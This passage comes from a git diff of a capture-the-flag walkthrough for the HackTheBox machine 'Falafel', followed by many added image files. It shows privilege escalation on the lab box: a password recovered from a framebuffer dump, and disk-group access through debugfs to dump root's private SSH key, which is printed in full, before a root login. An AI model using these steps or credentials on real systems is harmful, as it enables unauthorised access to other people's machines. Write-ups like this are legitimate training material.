./devices/pci0000:00/0000:00:0f.0/graphics/fb0/power/runtime_active_time + ./devices/pci0000:00/0000:00:0f.0/graphics/fb0/power/autosuspend_delay_ms + ./devices/pci0000:00/0000:00:0f.0/graphics/fb0/power/runtime_status + ./devices/pci0000:00/0000:00:0f.0/graphics/fb0/power/runtime_usage + ./devices/pci0000:00/0000:00:0f.0/graphics/fb0/power/runtime_suspended_time + ./devices/pci0000:00/0000:00:0f.0/graphics/fb0/state + ./devices/pci0000:00/0000:00:0f.0/graphics/fb0/bl_curve + ./devices/pci0000:00/0000:00:0f.0/graphics/fb0/bits_per_pixel + ./devices/pci0000:00/0000:00:0f.0/graphics/fb0/device + ./devices/pci0000:00/0000:00:0f.0/graphics/fb0/cursor + ./devices/pci0000:00/0000:00:0f.0/graphics/fb0/subsystem + ./devices/pci0000:00/0000:00:0f.0/graphics/fb0/rotate + ./devices/pci0000:00/0000:00:0f.0/graphics/fb0/stride + ./devices/pci0000:00/0000:00:0f.0/graphics/fb0/uevent + ./devices/pci0000:00/0000:00:0f.0/graphics/fb0/virtual_size + ./class/graphics/fb0 + find: ‘./kernel/debug’: Permission denied + + moshe@falafel:/sys$ ls -lash class/graphics/fb0 + 0 lrwxrwxrwx 1 root root 0 Dec 21 12:39 class/graphics/fb0 -> ../../devices/pci0000:00/0000:00:0f.0/graphics/fb0 + + +And here we see that class/graphics/fb0 is a symlink to ../../devices/pci0000:00/0000:00:0f.0/graphics/fb0 so let's go there and see what's in it: + + + moshe@falafel:/sys$ cd devices/pci0000:00/0000:00:0f.0/graphics/fb0 + moshe@falafel:/sys/devices/pci0000:00/0000:00:0f.0/graphics/fb0$ ls -lash + total 0 + 0 drwxr-xr-x 3 root root 0 Dec 21 12:39 . + 0 drwxr-xr-x 3 root root 0 Dec 21 12:39 .. + 0 -rw-r--r-- 1 root root 4.0K Dec 21 17:06 bits_per_pixel + 0 -rw-r--r-- 1 root root 4.0K Dec 21 17:06 blank + 0 -rw-r--r-- 1 root root 4.0K Dec 21 17:06 bl_curve + 0 -rw-r--r-- 1 root root 4.0K Dec 21 17:06 console + 0 -rw-r--r-- 1 root root 4.0K Dec 21 17:06 cursor + 0 -r--r--r-- 1 root root 4.0K Dec 21 17:06 dev + 0 lrwxrwxrwx 1 root root 0 Dec 21 17:06 device -> ../../../0000:00:0f.0 + 0 -rw-r--r-- 1 root root 4.0K Dec 21 17:06 mode + 0 -rw-r--r-- 1 root root 4.0K Dec 21 17:06 modes + 0 -r--r--r-- 1 root root 4.0K Dec 21 17:06 name + 0 -rw-r--r-- 1 root root 4.0K Dec 21 17:06 pan + 0 drwxr-xr-x 2 root root 0 Dec 21 17:01 power + 0 -rw-r--r-- 1 root root 4.0K Dec 21 17:06 rotate + 0 -rw-r--r-- 1 root root 4.0K Dec 21 17:06 state + 0 -r--r--r-- 1 root root 4.0K Dec 21 17:06 stride + 0 lrwxrwxrwx 1 root root 0 Dec 21 12:39 subsystem -> ../../../../../class/graphics + 0 -rw-r--r-- 1 root root 4.0K Dec 21 17:06 uevent + 0 -rw-r--r-- 1 root root 4.0K Dec 21 17:06 virtual_size + moshe@falafel:/sys/devices/pci0000:00/0000:00:0f.0/graphics/fb0$ cat virtual_size + 1176,885 + moshe@falafel:/sys/devices/pci0000:00/0000:00:0f.0/graphics/fb0$ + + + +And there we have it, we have the size of the raw image file we needed, so it's 1176 x 885: + +![](prg/9/44.png) ![](prg/9/45.png) + +We still see some garbage but we just need to pick the RGB565 option and then we see: + +![](prg/9/46.png) + +And we have it! we got the following credentials: **yossi:MoshePlzStopHackingMe!** with these credentials, we're going to login as yassi: + + + moshe@falafel:/sys/devices/pci0000:00/0000:00:0f.0/graphics/fb0$ su yossi - + Password: + bash: cannot set terminal process group (-1): Inappropriate ioctl for device + bash: no job control in this shell + yossi@falafel:/sys/devices/pci0000:00/0000:00:0f.0/graphics/fb0$ cd ~ + + yossi@falafel:~$ pwd + /home/yossi + + yossi@falafel:~$ ls -lash + total 24K + 4.0K drwx------ 3 yossi yossi 4.0K Jan 14 2018 . + 4.0K drwxr-xr-x 4 root root 4.0K Nov 27 2017 .. + 0 -rw------- 1 root root 0 Jan 14 2018 .bash_history + 4.0K -rw-r--r-- 1 yossi yossi 220 Nov 27 2017 .bash_logout + 4.0K -rw-r--r-- 1 yossi yossi 3.7K Nov 27 2017 .bashrc + 4.0K drwx------ 2 yossi yossi 4.0K Nov 27 2017 .cache + 4.0K -rw-r--r-- 1 yossi yossi 655 Nov 27 2017 .profile + + + +And from here we can see that we have been able to login as the user yossi via the su command, but we can also do it via ssh: + + + [ 10.10.14.6/23 ] [ /dev/pts/29 ] [~/_HTB/Falafel] + → ssh yossi@10.10.10.73 + yossi@10.10.10.73's password: + Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-112-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + 0 packages can be updated. + 0 updates are security updates. + + + Last login: Mon Dec 21 12:39:26 2020 + yossi@falafel:~$ ls -lash + total 24K + 4.0K drwx------ 3 yossi yossi 4.0K Jan 14 2018 . + 4.0K drwxr-xr-x 4 root root 4.0K Nov 27 2017 .. + 0 -rw------- 1 root root 0 Jan 14 2018 .bash_history + 4.0K -rw-r--r-- 1 yossi yossi 220 Nov 27 2017 .bash_logout + 4.0K -rw-r--r-- 1 yossi yossi 3.7K Nov 27 2017 .bashrc + 4.0K drwx------ 2 yossi yossi 4.0K Nov 27 2017 .cache + 4.0K -rw-r--r-- 1 yossi yossi 655 Nov 27 2017 .profile + + yossi@falafel:~$ id + uid=1000(yossi) gid=1000(yossi) groups=1000(yossi),4(adm),6(disk),24(cdrom),30(dip),46(plugdev),117(lpadmin),118(sambashare) + + +And here we see something interesting, yossi is part of the disk group, which theorically means he can read whatever is on the disks + + + + yossi@falafel:~$ strings /dev/sda1 | grep root.txt + <****file:Documentation/filesystems/nfs/nfsroot.txt>. <****file:Documentation/filesystems/nfs/nfsroot.txt> for details. + Read <****file:Documentation/filesystems/nfs/nfsroot.txt> for details. <****file:Documentation/filesystems/nfs/nfsroot.txt> for details. <****file:Documentation/filesystems/nfs/nfsroot.txt>. + +However the intended path is to use the debugfs command: + + + + yossi@falafel:~$ debugfs /dev/sda1 + debugfs 1.42.13 (17-May-2015) + debugfs: ls + debugfs: cd root + debugfs: ls + debugfs: cd .ssh + debugfs: cat id_rsa + -----BEGIN RSA PRIVATE KEY----- + MIIEpAIBAAKCAQEAyPdlQuyVr/L4xXiDVK8lTn88k4zVEEfiRVQ1AWxQPOHY7q0h + b+Zd6WPVczObUnC+TaElpDXhf3gjLvjXvn7qGuZekNdB1aoWt5IKT90yz9vUx/gf + v22+b8XdCdzyXpJW0fAmEN+m5DAETxHDzPdNfpswwYpDX0gqLCZIuMC7Z8D8Wpkg + BWQ5RfpdFDWvIexRDfwj/Dx+tiIPGcYtkpQ/UihaDgF0gwj912Zc1N5+0sILX/Qd + UQ+ZywP/qj1FI+ki/kJcYsW/5JZcG20xS0QgNvUBGpr+MGh2urh4angLcqu5b/ZV + dmoHaOx/UOrNywkp486/SQtn30Er7SlM29/8PQIDAQABAoIBAQCGd5qmw/yIZU/1 + eWSOpj6VHmee5q2tnhuVffmVgS7S/d8UHH3yDLcrseQhmBdGey+qa7fu/ypqCy2n + gVOCIBNuelQuIAnp+EwI+kuyEnSsRhBC2RANG1ZAHal/rvnxM4OqJ0ChK7TUnBhV + +7IClDqjCx39chEQUQ3+yoMAM91xVqztgWvl85Hh22IQgFnIu/ghav8Iqps/tuZ0 + /YE1+vOouJPD894UEUH5+Bj+EvBJ8+pyXUCt7FQiidWQbSlfNLUWNdlBpwabk6Td + OnO+rf/vtYg+RQC+Y7zUpyLONYP+9S6WvJ/lqszXrYKRtlQg+8Pf7yhcOz/n7G08 + kta/3DH1AoGBAO0itIeAiaeXTw5dmdza5xIDsx/c3DU+yi+6hDnV1KMTe3zK/yjG + UBLnBo6FpAJr0w0XNALbnm2RToX7OfqpVeQsAsHZTSfmo4fbQMY7nWMvSuXZV3lG + ahkTSKUnpk2/EVRQriFjlXuvBoBh0qLVhZIKqZBaavU6iaplPVz72VvLAoGBANj0 + GcJ34ozu/XuhlXNVlm5ZQqHxHkiZrOU9aM7umQkGeM9vNFOwWYl6l9g4qMq7ArMr + 5SmT+XoWQtK9dSHVNXr4XWRaH6aow/oazY05W/BgXRMxolVSHdNE23xuX9dlwMPB + f/y3ZeVpbREroPOx9rZpYiE76W1gZ67H6TV0HJcXAoGBAOdgCnd/8lAkcY2ZxIva + xsUr+PWo4O/O8SY6vdNUkWIAm2e7BdX6EZ0v75TWTp3SKR5HuobjVKSht9VAuGSc + HuNAEfykkwTQpFTlmEETX9CsD09PjmsVSmZnC2Wh10FaoYT8J7sKWItSzmwrhoM9 + BVPmtWXU4zGdST+KAqKcVYubAoGAHR5GBs/IXFoHM3ywblZiZlUcmFegVOYrSmk/ + k+Z6K7fupwip4UGeAtGtZ5vTK8KFzj5p93ag2T37ogVDn1LaZrLG9h0Sem/UPdEz + HW1BZbXJSDY1L3ZiAmUPgFfgDSze/mcOIoEK8AuCU/ejFpIgJsNmJEfCQKfbwp2a + M05uN+kCgYBq8iNfzNHK3qY+iaQNISQ657Qz0sPoMrzQ6gAmTNjNfWpU8tEHqrCP + NZTQDYCA31J/gKIl2BT8+ywQL50avvbxcXZEsy14ExVnaTpPQ9m2INlxz97YLxjZ + FEUbkAlzcvN/S3LJiFbnkQ7uJ0nPj4oPw1XBcmsQoBwPFOcCEvHSrg== + -----END RSA PRIVATE KEY----- + + + +And basically here, you've managed to get the root user's private ssh key, so just save it locally, give it the correct permissions, and login as root via ssh: + + + [ 10.10.14.6/23 ] [ /dev/pts/29 ] [~/_HTB/Falafel] + → vim id_rsa + + [ 10.10.14.6/23 ] [ /dev/pts/29 ] [~/_HTB/Falafel] + → chmod 600 id_rsa + + [ 10.10.14.6/23 ] [ /dev/pts/29 ] [~/_HTB/Falafel] + → ssh root@10.10.10.73 -i id_rsa + Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-112-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + 0 packages can be updated. + 0 updates are security updates. + + + Last login: Mon Dec 21 16:47:49 2020 from 10.10.14.16 + root@falafel:~# id + uid=0(root) gid=0(root) groups=0(root) + root@falafel:~# ls -lash + total 36K + 4.0K drwxr-x--- 5 root root 4.0K Feb 5 2018 . + 4.0K drwxr-xr-x 23 root root 4.0K Feb 5 2018 .. + 0 -rw------- 1 root root 0 Jan 14 2018 .bash_history + 4.0K -rw------- 1 root root 3.1K Nov 27 2017 .bashrc + 4.0K drwx------ 2 root root 4.0K Nov 27 2017 .cache + 4.0K drwxr-xr-x 2 root root 4.0K Jan 15 2018 .nano + 4.0K -rw------- 1 root root 148 Aug 17 2015 .profile + 4.0K -r-------- 1 root root 33 Nov 27 2017 root.txt + 4.0K drwxr-xr-x 2 root root 4.0K Jan 15 2018 .ssh + 4.0K -rw-r--r-- 1 root root 206 Feb 5 2018 .wget-hsts + root@falafel:~# cat root.txt + + 23XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And there we have it! We have been able to print out the root flag of this box. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/9_graph.png) + diff --git a/Hard/img/0.png b/Hard/img/0.png new file mode 100644 index 0000000..65b7216 Binary files /dev/null and b/Hard/img/0.png differ diff --git a/Hard/img/0_graph.png b/Hard/img/0_graph.png new file mode 100644 index 0000000..a711049 Binary files /dev/null and b/Hard/img/0_graph.png differ diff --git a/Hard/img/1.png b/Hard/img/1.png new file mode 100644 index 0000000..f63f9fb Binary files /dev/null and b/Hard/img/1.png differ diff --git a/Hard/img/10.png b/Hard/img/10.png new file mode 100644 index 0000000..fc8641e Binary files /dev/null and b/Hard/img/10.png differ diff --git a/Hard/img/10_graph.png b/Hard/img/10_graph.png new file mode 100644 index 0000000..800d976 Binary files /dev/null and b/Hard/img/10_graph.png differ diff --git a/Hard/img/11.png b/Hard/img/11.png new file mode 100644 index 0000000..37bb818 Binary files /dev/null and b/Hard/img/11.png differ diff --git a/Hard/img/12.png b/Hard/img/12.png new file mode 100644 index 0000000..8c23170 Binary files /dev/null and b/Hard/img/12.png differ diff --git a/Hard/img/13.png b/Hard/img/13.png new file mode 100644 index 0000000..d27be83 Binary files /dev/null and b/Hard/img/13.png differ diff --git a/Hard/img/14.png b/Hard/img/14.png new file mode 100644 index 0000000..ab95758 Binary files /dev/null and b/Hard/img/14.png differ diff --git a/Hard/img/15.png b/Hard/img/15.png new file mode 100644 index 0000000..0a2c68c Binary files /dev/null and b/Hard/img/15.png differ diff --git a/Hard/img/16.png b/Hard/img/16.png new file mode 100644 index 0000000..58f897f Binary files /dev/null and b/Hard/img/16.png differ diff --git a/Hard/img/17.png b/Hard/img/17.png new file mode 100644 index 0000000..cbc0f43 Binary files /dev/null and b/Hard/img/17.png differ diff --git a/Hard/img/18.png b/Hard/img/18.png new file mode 100644 index 0000000..8dc7ae4 Binary files /dev/null and b/Hard/img/18.png differ diff --git a/Hard/img/19.png b/Hard/img/19.png new file mode 100644 index 0000000..62f2494 Binary files /dev/null and b/Hard/img/19.png differ diff --git a/Hard/img/2.png b/Hard/img/2.png new file mode 100644 index 0000000..f060c57 Binary files /dev/null and b/Hard/img/2.png differ diff --git a/Hard/img/20.png b/Hard/img/20.png new file mode 100644 index 0000000..db810eb Binary files /dev/null and b/Hard/img/20.png differ diff --git a/Hard/img/21.png b/Hard/img/21.png new file mode 100644 index 0000000..7487b78 Binary files /dev/null and b/Hard/img/21.png differ diff --git a/Hard/img/22.png b/Hard/img/22.png new file mode 100644 index 0000000..1be424b Binary files /dev/null and b/Hard/img/22.png differ diff --git a/Hard/img/23.png b/Hard/img/23.png new file mode 100644 index 0000000..9b64961 Binary files /dev/null and b/Hard/img/23.png differ diff --git a/Hard/img/24.png b/Hard/img/24.png new file mode 100644 index 0000000..d060e3e Binary files /dev/null and b/Hard/img/24.png differ diff --git a/Hard/img/25.png b/Hard/img/25.png new file mode 100644 index 0000000..303e5a5 Binary files /dev/null and b/Hard/img/25.png differ diff --git a/Hard/img/26.png b/Hard/img/26.png new file mode 100644 index 0000000..c20ca1b Binary files /dev/null and b/Hard/img/26.png differ diff --git a/Hard/img/27.png b/Hard/img/27.png new file mode 100644 index 0000000..218c60a Binary files /dev/null and b/Hard/img/27.png differ diff --git a/Hard/img/28.png b/Hard/img/28.png new file mode 100644 index 0000000..66e98c9 Binary files /dev/null and b/Hard/img/28.png differ diff --git a/Hard/img/29.png b/Hard/img/29.png new file mode 100644 index 0000000..2674227 Binary files /dev/null and b/Hard/img/29.png differ diff --git a/Hard/img/2_graph.png b/Hard/img/2_graph.png new file mode 100644 index 0000000..df96857 Binary files /dev/null and b/Hard/img/2_graph.png differ diff --git a/Hard/img/3.png b/Hard/img/3.png new file mode 100644 index 0000000..923ec72 Binary files /dev/null and b/Hard/img/3.png differ diff --git a/Hard/img/30.png b/Hard/img/30.png new file mode 100644 index 0000000..484bf6e Binary files /dev/null and b/Hard/img/30.png differ diff --git a/Hard/img/31.png b/Hard/img/31.png new file mode 100644 index 0000000..ed91d09 Binary files /dev/null and b/Hard/img/31.png differ diff --git a/Hard/img/32.png b/Hard/img/32.png new file mode 100644 index 0000000..f6c4144 Binary files /dev/null and b/Hard/img/32.png differ diff --git a/Hard/img/33.png b/Hard/img/33.png new file mode 100644 index 0000000..d57fc52 Binary files /dev/null and b/Hard/img/33.png differ diff --git a/Hard/img/34.png b/Hard/img/34.png new file mode 100644 index 0000000..bfaba4d Binary files /dev/null and b/Hard/img/34.png differ diff --git a/Hard/img/35.png b/Hard/img/35.png new file mode 100644 index 0000000..4fd0337 Binary files /dev/null and b/Hard/img/35.png differ diff --git a/Hard/img/36.png b/Hard/img/36.png new file mode 100644 index 0000000..7e63820 Binary files /dev/null and b/Hard/img/36.png differ diff --git a/Hard/img/37.png b/Hard/img/37.png new file mode 100644 index 0000000..24d81a5 Binary files /dev/null and b/Hard/img/37.png differ diff --git a/Hard/img/38.png b/Hard/img/38.png new file mode 100644 index 0000000..4e7d6e3 Binary files /dev/null and b/Hard/img/38.png differ diff --git a/Hard/img/39.png b/Hard/img/39.png new file mode 100644 index 0000000..3acc319 Binary files /dev/null and b/Hard/img/39.png differ diff --git a/Hard/img/3_graph.png b/Hard/img/3_graph.png new file mode 100644 index 0000000..9faca42 Binary files /dev/null and b/Hard/img/3_graph.png differ diff --git a/Hard/img/4.png b/Hard/img/4.png new file mode 100644 index 0000000..f1d5984 Binary files /dev/null and b/Hard/img/4.png differ diff --git a/Hard/img/4_graph.png b/Hard/img/4_graph.png new file mode 100644 index 0000000..835c2e3 Binary files /dev/null and b/Hard/img/4_graph.png differ diff --git a/Hard/img/5.png b/Hard/img/5.png new file mode 100644 index 0000000..486ac82 Binary files /dev/null and b/Hard/img/5.png differ diff --git a/Hard/img/5_graph.png b/Hard/img/5_graph.png new file mode 100644 index 0000000..e67ac88 Binary files /dev/null and b/Hard/img/5_graph.png differ diff --git a/Hard/img/6.png b/Hard/img/6.png new file mode 100644 index 0000000..b344bb2 Binary files /dev/null and b/Hard/img/6.png differ diff --git a/Hard/img/6_graph.png b/Hard/img/6_graph.png new file mode 100644 index 0000000..8bc149c Binary files /dev/null and b/Hard/img/6_graph.png differ diff --git a/Hard/img/7.png b/Hard/img/7.png new file mode 100644 index 0000000..3a4f83a Binary files /dev/null and b/Hard/img/7.png differ diff --git a/Hard/img/7_graph.png b/Hard/img/7_graph.png new file mode 100644 index 0000000..d7766fa Binary files /dev/null and b/Hard/img/7_graph.png differ diff --git a/Hard/img/8.png b/Hard/img/8.png new file mode 100644 index 0000000..878ef38 Binary files /dev/null and b/Hard/img/8.png differ diff --git a/Hard/img/8_graph.png b/Hard/img/8_graph.png new file mode 100644 index 0000000..d62c965 Binary files /dev/null and b/Hard/img/8_graph.png differ diff --git a/Hard/img/9.png b/Hard/img/9.png new file mode 100644 index 0000000..c55b0c9 Binary files /dev/null and b/Hard/img/9.png differ diff --git a/Hard/img/9_graph.png b/Hard/img/9_graph.png new file mode 100644 index 0000000..4939276 Binary files /dev/null and b/Hard/img/9_graph.png differ diff --git a/Hard/prg/1/001.png b/Hard/prg/1/001.png new file mode 100644 index 0000000..87cf6cf Binary files /dev/null and b/Hard/prg/1/001.png differ diff --git a/Hard/prg/1/002.png b/Hard/prg/1/002.png new file mode 100644 index 0000000..55f8dca Binary files /dev/null and b/Hard/prg/1/002.png differ diff --git a/Hard/prg/1/003.png b/Hard/prg/1/003.png new file mode 100644 index 0000000..2b453e3 Binary files /dev/null and b/Hard/prg/1/003.png differ diff --git a/Hard/prg/1/004.png b/Hard/prg/1/004.png new file mode 100644 index 0000000..75cb884 Binary files /dev/null and b/Hard/prg/1/004.png differ diff --git a/Hard/prg/1/005.png b/Hard/prg/1/005.png new file mode 100644 index 0000000..ba313cd Binary files /dev/null and b/Hard/prg/1/005.png differ diff --git a/Hard/prg/1/006.png b/Hard/prg/1/006.png new file mode 100644 index 0000000..ae4c329 Binary files /dev/null and b/Hard/prg/1/006.png differ diff --git a/Hard/prg/1/007.png b/Hard/prg/1/007.png new file mode 100644 index 0000000..f399b2c Binary files /dev/null and b/Hard/prg/1/007.png differ diff --git a/Hard/prg/1/008.png b/Hard/prg/1/008.png new file mode 100644 index 0000000..cfa82da Binary files /dev/null and b/Hard/prg/1/008.png differ diff --git a/Hard/prg/1/009.png b/Hard/prg/1/009.png new file mode 100644 index 0000000..4dcf3ab Binary files /dev/null and b/Hard/prg/1/009.png differ diff --git a/Hard/prg/1/010.png b/Hard/prg/1/010.png new file mode 100644 index 0000000..fda2ba9 Binary files /dev/null and b/Hard/prg/1/010.png differ diff --git a/Hard/prg/1/011.png b/Hard/prg/1/011.png new file mode 100644 index 0000000..a73f6b9 Binary files /dev/null and b/Hard/prg/1/011.png differ diff --git a/Hard/prg/1/012.png b/Hard/prg/1/012.png new file mode 100644 index 0000000..4f3a46f Binary files /dev/null and b/Hard/prg/1/012.png differ diff --git a/Hard/prg/1/013.png b/Hard/prg/1/013.png new file mode 100644 index 0000000..a3dd460 Binary files /dev/null and b/Hard/prg/1/013.png differ diff --git a/Hard/prg/1/014.png b/Hard/prg/1/014.png new file mode 100644 index 0000000..f5cdb19 Binary files /dev/null and b/Hard/prg/1/014.png differ diff --git a/Hard/prg/10/1.png b/Hard/prg/10/1.png new file mode 100644 index 0000000..f7aad63 Binary files /dev/null and b/Hard/prg/10/1.png differ diff --git a/Hard/prg/10/2.png b/Hard/prg/10/2.png new file mode 100644 index 0000000..e275656 Binary files /dev/null and b/Hard/prg/10/2.png differ diff --git a/Hard/prg/10/3.png b/Hard/prg/10/3.png new file mode 100644 index 0000000..f545908 Binary files /dev/null and b/Hard/prg/10/3.png differ diff --git a/Hard/prg/10/4.png b/Hard/prg/10/4.png new file mode 100644 index 0000000..0e4bb95 Binary files /dev/null and b/Hard/prg/10/4.png differ diff --git a/Hard/prg/10/5.png b/Hard/prg/10/5.png new file mode 100644 index 0000000..dd6c103 Binary files /dev/null and b/Hard/prg/10/5.png differ diff --git a/Hard/prg/10/6.png b/Hard/prg/10/6.png new file mode 100644 index 0000000..43c3217 Binary files /dev/null and b/Hard/prg/10/6.png differ diff --git a/Hard/prg/11/0.png b/Hard/prg/11/0.png new file mode 100644 index 0000000..e485af5 Binary files /dev/null and b/Hard/prg/11/0.png differ diff --git a/Hard/prg/11/1.png b/Hard/prg/11/1.png new file mode 100644 index 0000000..4143127 Binary files /dev/null and b/Hard/prg/11/1.png differ diff --git a/Hard/prg/11/2.png b/Hard/prg/11/2.png new file mode 100644 index 0000000..ef27b3e Binary files /dev/null and b/Hard/prg/11/2.png differ diff --git a/Hard/prg/11/3.png b/Hard/prg/11/3.png new file mode 100644 index 0000000..1782b27 Binary files /dev/null and b/Hard/prg/11/3.png differ diff --git a/Hard/prg/11/4.png b/Hard/prg/11/4.png new file mode 100644 index 0000000..0bcef5a Binary files /dev/null and b/Hard/prg/11/4.png differ diff --git a/Hard/prg/11/5.png b/Hard/prg/11/5.png new file mode 100644 index 0000000..d4d24ed Binary files /dev/null and b/Hard/prg/11/5.png differ diff --git a/Hard/prg/11/6.png b/Hard/prg/11/6.png new file mode 100644 index 0000000..60835e9 Binary files /dev/null and b/Hard/prg/11/6.png differ diff --git a/Hard/prg/12/1.png b/Hard/prg/12/1.png new file mode 100644 index 0000000..53a002d Binary files /dev/null and b/Hard/prg/12/1.png differ diff --git a/Hard/prg/12/10.png b/Hard/prg/12/10.png new file mode 100644 index 0000000..d95e17c Binary files /dev/null and b/Hard/prg/12/10.png differ diff --git a/Hard/prg/12/11.png b/Hard/prg/12/11.png new file mode 100644 index 0000000..68d3ea7 Binary files /dev/null and b/Hard/prg/12/11.png differ diff --git a/Hard/prg/12/12.png b/Hard/prg/12/12.png new file mode 100644 index 0000000..f2235b3 Binary files /dev/null and b/Hard/prg/12/12.png differ diff --git a/Hard/prg/12/13.png b/Hard/prg/12/13.png new file mode 100644 index 0000000..8a03d56 Binary files /dev/null and b/Hard/prg/12/13.png differ diff --git a/Hard/prg/12/14.png b/Hard/prg/12/14.png new file mode 100644 index 0000000..0f72a91 Binary files /dev/null and b/Hard/prg/12/14.png differ diff --git a/Hard/prg/12/15.png b/Hard/prg/12/15.png new file mode 100644 index 0000000..6f4a429 Binary files /dev/null and b/Hard/prg/12/15.png differ diff --git a/Hard/prg/12/16.png b/Hard/prg/12/16.png new file mode 100644 index 0000000..50b84b0 Binary files /dev/null and b/Hard/prg/12/16.png differ diff --git a/Hard/prg/12/17.png b/Hard/prg/12/17.png new file mode 100644 index 0000000..3d68ea1 Binary files /dev/null and b/Hard/prg/12/17.png differ diff --git a/Hard/prg/12/18.png b/Hard/prg/12/18.png new file mode 100644 index 0000000..d33e1fe Binary files /dev/null and b/Hard/prg/12/18.png differ diff --git a/Hard/prg/12/19.png b/Hard/prg/12/19.png new file mode 100644 index 0000000..29947d7 Binary files /dev/null and b/Hard/prg/12/19.png differ diff --git a/Hard/prg/12/2.png b/Hard/prg/12/2.png new file mode 100644 index 0000000..7ab81b0 Binary files /dev/null and b/Hard/prg/12/2.png differ diff --git a/Hard/prg/12/20.png b/Hard/prg/12/20.png new file mode 100644 index 0000000..6005a99 Binary files /dev/null and b/Hard/prg/12/20.png differ diff --git a/Hard/prg/12/21.png b/Hard/prg/12/21.png new file mode 100644 index 0000000..64bff75 Binary files /dev/null and b/Hard/prg/12/21.png differ diff --git a/Hard/prg/12/22.png b/Hard/prg/12/22.png new file mode 100644 index 0000000..451fc3d Binary files /dev/null and b/Hard/prg/12/22.png differ diff --git a/Hard/prg/12/3.png b/Hard/prg/12/3.png new file mode 100644 index 0000000..947dcaf Binary files /dev/null and b/Hard/prg/12/3.png differ diff --git a/Hard/prg/12/4.png b/Hard/prg/12/4.png new file mode 100644 index 0000000..ce2be83 Binary files /dev/null and b/Hard/prg/12/4.png differ diff --git a/Hard/prg/12/5.png b/Hard/prg/12/5.png new file mode 100644 index 0000000..b963bf2 Binary files /dev/null and b/Hard/prg/12/5.png differ diff --git a/Hard/prg/12/6.png b/Hard/prg/12/6.png new file mode 100644 index 0000000..cd54b4c Binary files /dev/null and b/Hard/prg/12/6.png differ diff --git a/Hard/prg/12/7.png b/Hard/prg/12/7.png new file mode 100644 index 0000000..cc4563e Binary files /dev/null and b/Hard/prg/12/7.png differ diff --git a/Hard/prg/12/8.png b/Hard/prg/12/8.png new file mode 100644 index 0000000..a4f2903 Binary files /dev/null and b/Hard/prg/12/8.png differ diff --git a/Hard/prg/12/9.png b/Hard/prg/12/9.png new file mode 100644 index 0000000..bf85ab5 Binary files /dev/null and b/Hard/prg/12/9.png differ diff --git a/Hard/prg/13/1.png b/Hard/prg/13/1.png new file mode 100644 index 0000000..4ef11ba Binary files /dev/null and b/Hard/prg/13/1.png differ diff --git a/Hard/prg/13/2.png b/Hard/prg/13/2.png new file mode 100644 index 0000000..c8a79b6 Binary files /dev/null and b/Hard/prg/13/2.png differ diff --git a/Hard/prg/13/3.png b/Hard/prg/13/3.png new file mode 100644 index 0000000..5473646 Binary files /dev/null and b/Hard/prg/13/3.png differ diff --git a/Hard/prg/13/4.png b/Hard/prg/13/4.png new file mode 100644 index 0000000..4d63b17 Binary files /dev/null and b/Hard/prg/13/4.png differ diff --git a/Hard/prg/13/5.png b/Hard/prg/13/5.png new file mode 100644 index 0000000..a3dbcf8 Binary files /dev/null and b/Hard/prg/13/5.png differ diff --git a/Hard/prg/2/001.png b/Hard/prg/2/001.png new file mode 100644 index 0000000..5c693a7 Binary files /dev/null and b/Hard/prg/2/001.png differ diff --git a/Hard/prg/2/002.png b/Hard/prg/2/002.png new file mode 100644 index 0000000..8b0cba4 Binary files /dev/null and b/Hard/prg/2/002.png differ diff --git a/Hard/prg/2/003.png b/Hard/prg/2/003.png new file mode 100644 index 0000000..bfe5489 Binary files /dev/null and b/Hard/prg/2/003.png differ diff --git a/Hard/prg/2/004.png b/Hard/prg/2/004.png new file mode 100644 index 0000000..26849c4 Binary files /dev/null and b/Hard/prg/2/004.png differ diff --git a/Hard/prg/2/005.png b/Hard/prg/2/005.png new file mode 100644 index 0000000..0a47c49 Binary files /dev/null and b/Hard/prg/2/005.png differ diff --git a/Hard/prg/2/006.png b/Hard/prg/2/006.png new file mode 100644 index 0000000..0c1e363 Binary files /dev/null and b/Hard/prg/2/006.png differ diff --git a/Hard/prg/2/007.png b/Hard/prg/2/007.png new file mode 100644 index 0000000..72efcca Binary files /dev/null and b/Hard/prg/2/007.png differ diff --git a/Hard/prg/2/008.png b/Hard/prg/2/008.png new file mode 100644 index 0000000..bee68ef Binary files /dev/null and b/Hard/prg/2/008.png differ diff --git a/Hard/prg/2/009.png b/Hard/prg/2/009.png new file mode 100644 index 0000000..6463df6 Binary files /dev/null and b/Hard/prg/2/009.png differ diff --git a/Hard/prg/2/010.png b/Hard/prg/2/010.png new file mode 100644 index 0000000..65089a4 Binary files /dev/null and b/Hard/prg/2/010.png differ diff --git a/Hard/prg/2/011.png b/Hard/prg/2/011.png new file mode 100644 index 0000000..b084ccd Binary files /dev/null and b/Hard/prg/2/011.png differ diff --git a/Hard/prg/2/012.png b/Hard/prg/2/012.png new file mode 100644 index 0000000..c2361ff Binary files /dev/null and b/Hard/prg/2/012.png differ diff --git a/Hard/prg/2/013.png b/Hard/prg/2/013.png new file mode 100644 index 0000000..28b7b64 Binary files /dev/null and b/Hard/prg/2/013.png differ diff --git a/Hard/prg/2/014.png b/Hard/prg/2/014.png new file mode 100644 index 0000000..eda4f0c Binary files /dev/null and b/Hard/prg/2/014.png differ diff --git a/Hard/prg/2/015.png b/Hard/prg/2/015.png new file mode 100644 index 0000000..cacf83d Binary files /dev/null and b/Hard/prg/2/015.png differ diff --git a/Hard/prg/2/016.png b/Hard/prg/2/016.png new file mode 100644 index 0000000..699bd18 Binary files /dev/null and b/Hard/prg/2/016.png differ diff --git a/Hard/prg/3/001.png b/Hard/prg/3/001.png new file mode 100644 index 0000000..565f6ff Binary files /dev/null and b/Hard/prg/3/001.png differ diff --git a/Hard/prg/3/002.png b/Hard/prg/3/002.png new file mode 100644 index 0000000..d90bca3 Binary files /dev/null and b/Hard/prg/3/002.png differ diff --git a/Hard/prg/3/003.png b/Hard/prg/3/003.png new file mode 100644 index 0000000..d88dfa1 Binary files /dev/null and b/Hard/prg/3/003.png differ diff --git a/Hard/prg/3/004.png b/Hard/prg/3/004.png new file mode 100644 index 0000000..fa232f3 Binary files /dev/null and b/Hard/prg/3/004.png differ diff 